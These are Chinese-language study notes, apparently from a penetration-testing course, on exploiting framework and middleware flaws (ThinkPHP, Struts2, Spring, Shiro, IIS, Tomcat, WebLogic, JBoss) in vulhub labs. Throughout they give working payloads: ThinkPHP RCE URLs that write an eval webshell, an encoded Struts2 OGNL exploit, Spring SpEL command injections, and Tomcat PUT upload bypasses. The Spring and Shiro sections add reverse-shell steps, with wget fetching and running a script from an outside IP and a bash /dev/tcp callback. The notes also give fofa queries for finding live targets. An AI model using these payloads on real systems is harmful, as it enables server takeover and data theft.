框架漏洞
一、Thinkphp(TP)
环境搭建
vulhub/thinkphp/5-rce
docker-compose up -d
1.远程命令执行POC
命令执行
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
2.远程代码执行POC
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
3.getshellPOC
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php phpinfo();?>" >>1.php
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php eval(\$_POST['cmd']);?>" >>4.php //需要添加\绕过
在根目录下生成1.php输出phpinfo
二、Struts2
手工挖掘
S2-057远程执行代码漏洞
环境搭建
vulhub靶场 /struts2/s2-057
http://8.155.8.82:8080//struts2-showcase/ //访问struts-showcase
url处设置POC
/struts2-showcase/${(123+123)}/actionChain1.action
回车123+123 会相加
注意:不要在register2.action利用,要在actionChain1.action利用
将上面验证payload的值修改为我们的利用exp
$%7B%0A%28%23dm%[email protected]@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23
request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.o
pensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getIns
tance%[email protected]@class%29%29.%28%23ou.getExcl
udedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.cle
ar%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%[email protected]
time@getRuntime%28%29.exec%28%27whoami%27%29%29.%[email protected]
OUtils@toString%28%23a.getInputStream%28%29%29%29%7D
工具挖掘
app="Struts2" //搜索语法
三、Spring
1.(CVE-2017-8046)
环境搭建
Spring Data Rest 远程命令执⾏命令(CVE-2017-8046)
vulhub靶场 /spring/CVE-2017-8046
抓取数据包,使⽤PATCH请求来修改 响应码400正确
[{ "op": "replace","path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname","value":"vulhub" }]
进入终端查看是否写入success
2.(CVE-2018-1273)
访问靶场地址
填写注册信息 BP抓包
加上POC
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("t
ouch /tmp/crz")]=&password=&repeatedPassword=
进入终端查看
反弹shell
其他云服务器写⼀个 反弹shell 脚本
开启shell.sh服务 访问查看是否开启
靶机下载shell.sh
/usr/bin/wget -qO /tmp/shell.sh http://114.132.92.17/shell.sh
/bin/bash /tmp/shell.sh
进入靶机查看是否下载到
攻击机nc 监听
执行脚本:
/bin/bash /tmp/shell.sh
四、Shiro
环境搭建
vulhub靶场 /shiro/CVE-2016-4437
验证Shiro框架
使用BurpSuite进行抓包,在请求包中的cookie字段中添加rememberMe=123;,看响应包header中是否返回rememberMe=deleteMe值,若有,则证明该系统使用了Shiro框架
#构造语句
Cookie:rememberMe=123
利用工具
先爆破密钥;爆破利用链;执行命令
反弹shell
远程下载shell
cd /home
ls
vim 1.sh
bash -i >& /dev/tcp/8.155.8.82/8888 0>&1
#在当前目录开启对外服务
python3 -m http.server 8888
工具
//靶机下载反弹shell
wget -O /tmp/shell.sh http://8.155.8.82/1.sh(下载前要开启对外访问)
工具 ls/tmp 查看是否下载成功
#监听端口
nc -lvvp 6666
bash -i /tmp/1.sh
中间件漏洞
一、IIS6.x篇
1.PUT漏洞
环境:
fofa:"IIS-6.0"
本地搭建2003 server
1.开启 WebDAV 和写权限:
网站右键--属性
访问IIS
2.⽤burpsuite 提交OPTIONS 查看支持的协议 :
iis不能直接上传asp文件
3.用PUT上传文档,但不能直接上传方法脚本文档,可以先上传一个其他类型的文档,然后改名成脚本文档
使用MOVE命令将其更名为脚本文档后缀
MOVE /test.txt HTTP/1.1
Host: 172.16.1.82
Destination: http://172.16.1.82/shell.asp
访问上传马
如果不能访问asp文件 需要修改网站配置
4.连接马
2.IIS6.0解析漏洞
(看前一篇中间件漏洞)
3.IIS短文件漏洞
环境:windows2003
在cmd下输入" dir /x"即可看到短文件名的效果
当后缀⼩于4时,短⽂件名产⽣需要⽂件(夹)名前缀字符⻓度⼤于等于9位。
当后缀⼤于等于4时,⽂件名前缀字符⻓度即使为1,也会产⽣短⽂件名
⽬前IIS⽀持短⽂件名猜测的HTTP⽅法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种
IIS8.0以下版本需要开启ASP.NET⽀持,IIS>=8.0版本,即使没有安装ASP.NET,通过 OPTIONSTRACE方法也可以猜解成功。
工具
4.IIS RCE-CVE-2017-7269
环境
WiNdows Server 2003 R2上使⽤IIS6.0并开启 WebDAV扩展。
利用工具:https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269
二、IIS 7x篇
1.IIS7文件解析漏洞
(看前一篇中间件漏洞)
2.HTTP.SYS远程代码执行(MS15-034) MS-->Microsoft 2015 -034
主要存在Windows+IIS的环境下,任何安装了微软IIS 6.0以上的Windows Server 2008R2/Server 2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响验证这个漏洞。
Windows7、Windows server 2008 R2、Windows8、Windows server2012、Windows8.1和
Windows server 2012 R2
IIS7.5、IIS8.0、IIS8.5
实验环境:Windows2012
三、Apache
1.未知扩展名解析漏洞
(看前一篇中间件漏洞)
2.AddHandler导致的解析漏洞
(看前一篇中间件漏洞)
3.目录遍历漏洞
当客户端访问到⼀个目录时,Apache服务器将会默认寻找⼀个index list中的文件,若文件不存在,则会列出当前目录下所有文件或返回403状态码,而列出目录下所有文件的行为称为目录遍历。
4.Apache HTTPD 换行解析漏洞(CVE-2017-15715)
(看前一篇中间件漏洞)
四、Nginx
1.文件解析漏洞
(看前一篇中间件漏洞)
2.目录遍历漏洞
Nginx的目录遍历与apache⼀样,属于配置方面的问题,错误的配置可导致目录遍历与源码泄露。
3.CRLF注入漏洞
环境搭建
vluhub靶场 /vulhub/nginx/insecure-configuration
抓包头部注入 %0ASet-cookie:JSPSESSID=1
4.文件名逻辑漏洞(CVE-2013-4547)
vulhub靶场 /nginx/CVE-2013-4547
创建 2.jpg 文件,并上传
抓包,在该文件名最后添加⼀个空格
上传成功后,浏览器访问 /uploadfiles/2.jpg...php
将2e,2e,2e修改为20,00,2e,发包:
五、tomcat
1.Tomcat 远程代码执行漏洞(CVE-2017-12615)
环境搭建
vulhub 靶场/tomcat/CVE-2017-12615
首页抓包,修改为 PUT 方法提交,并写入木马
⽀持三种上传绕过⽅式,默认使⽤ put 加⽂件名是失败的,需要绕过:
PUT /shell.jsp%20
PUT /shell.jsp::$DATA
PUT /shell.jsp
哥斯拉生成jsp马写入
进行连接
2.tomcat弱口令&war远程部署
(看前一篇中间件漏洞)
环境搭建
vulhub 靶场 /tomcat/tomcat8
登录口 /manager/html
默认密码:tomcat/tomcat
3.tomcat 远程代码执行(CVE-2019-0232)
(搭环境麻烦~~~)
4.Apache Tomcat文件包含漏洞(CVE-2020-1938)
(看前一篇中间件漏洞)
环境搭建
vulhub靶场 /tomcat/CVE-2020-1938
六、WebLogic
1.weblogic 弱口令getshell漏洞部署war包
(看前一篇中间件漏洞)
在weblogic搭建好之后没有修改进入后台的密码 导致弱口令登录获得webshell
环境搭建
vulhub 靶场 /weblogic/weak_password
默认账号密码:weblogic/Oracle@123
这里注意, 错误密码5次之后就会自动锁定
2.XMLDecoder反序列化漏洞(CVE-2017-3506)
(看前一篇中间件漏洞)
环境搭建
vulhub 靶场 /weblogic/weak_password
3.wls-wsat反序列化漏洞(CVE-2019-2725)
(看前一篇中间件漏洞)/_async/
kali vulhub 靶场 /weblogic/weak_password
4.WebLogic T3协议反序列化命令执行漏洞(CVE-2018- 2628)
环境搭建
kali vulhub 靶场 /weblogic/CVE-2018-2628
python -m pip install -r stars
5.WebLogic CVE-2018-2894文件任意上传
(看前一篇中间件漏洞)
环境搭建
vulhub 靶场 /weblogic/CVE-2018-2894
登陆点:http://192.168.56.134:7001/console/login/LoginForm.jsp
这⾥的密码是随机的,获取密码: docker-compose logs | grep password
6.CVE-2020-14882 WebLogic远程代码执行漏洞
(看前一篇中间件漏洞)/tmp下 反弹shell
环境搭建
vulhub 靶场 /weblogic/CVE-2020-14882
七、JBoss
1.JMX Console未授权访问Getshell
(看前一篇中间件漏洞)
2.JBOSSMQ JMS CVE-2017-7504 集群反序列化漏洞 4.X
(看前一篇中间件漏洞)
3.JBoss 5.x/6.x 反序列化命令执行漏洞(CVE-2017-12149)
环境搭建
kali vulhub 靶场 /jboss/CVE-2017-12149
4.Jboss 5.x/6.x admin-Console后台部署war包Getshell
(看前一篇中间件漏洞)
5.JBoss EJBInvokerServlet CVE-2013-4810 反序列化漏洞
(没有2013-4810接口~~~)
搭建了 vulhub /jboss/JMXInvokerServlet-deserialization进行实验
使用工具
(看前一篇中间件漏洞CVE-2015-7501)Invoke接口不一样
172.16.0.87:8080
http://172.16.0.87:8080/cgi-bin/cmd.bat
http://172.16.0.87:8080/cgi-bin/cmd.bat?&C%3A%5CWindows%5Csystem32%5Ccalc.exe
6.JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)
环境搭建
kali vulhub 靶场 /jboss/JMXInvokerServlet-deserialization
此漏洞存在于JBoss中 /invoker/JMXInvokerServlet 路径。访问若提示下载 JMXInvokerServlet,则可能存在漏洞:
访问8888 看是否对外访问公开
下载sh
500 xiazai成功
这个谈到了